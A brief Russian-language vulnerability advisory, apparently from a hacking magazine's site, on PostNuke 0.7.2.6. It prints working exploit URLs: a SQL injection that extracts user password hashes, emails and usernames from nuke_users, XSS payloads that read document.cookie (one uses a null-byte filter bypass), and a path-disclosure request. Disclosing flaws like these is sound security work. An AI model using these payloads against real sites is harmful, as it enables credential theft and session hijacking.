Несколько уязвимостей в PostNuke

Рекомендуем почитать:

Xakep #304. IP-камеры на пентестах

• Содержание выпуска
• Подписка на «Хакер»-60%

Программа: PostNuke 0.7.2.6 

Несколько уязвимостей обнаружено в PostNuke. Удаленный пользователь может внедрить SQL команды и выполнить XSS нападение. Удаленный пользователь может определить инсталляционный путь. 

1. SQL инъекция: 

http://localhost/postnuke0726/modules.php?op= modload&name=NS-Polls&file=index&req=
results&pollID=2&mode=thread&order=0&thold
=99999%20UNION%20SELECT%20null,null,null,
null,pn_pass,pn_email,null,null,pn_uname,null, null,null%20FROM%20nuke_users%20
WHERE%20pn_uid=2/*

2.XSS: 

http://localhost/postnuke0726/modules.php?op= modload&name=NS-Polls&file=index&req=
results&pollID=2&mode=thread&order=ppp> <s%00cript>alert(document.cookie);
</s%00cript>ppp&thold=99

http://localhost/postnuke0726/modules.php?op= modload&name=NS-Polls&file=index&req=
results&pollID=2&mode=thread&order=ppp> <body%20onload=alert(document.cookie);

2. Раскрытие инсталляционного пути: 

http://localhost/postnuke0726/admin.php?module= Past_Nuke&op =deleteNotice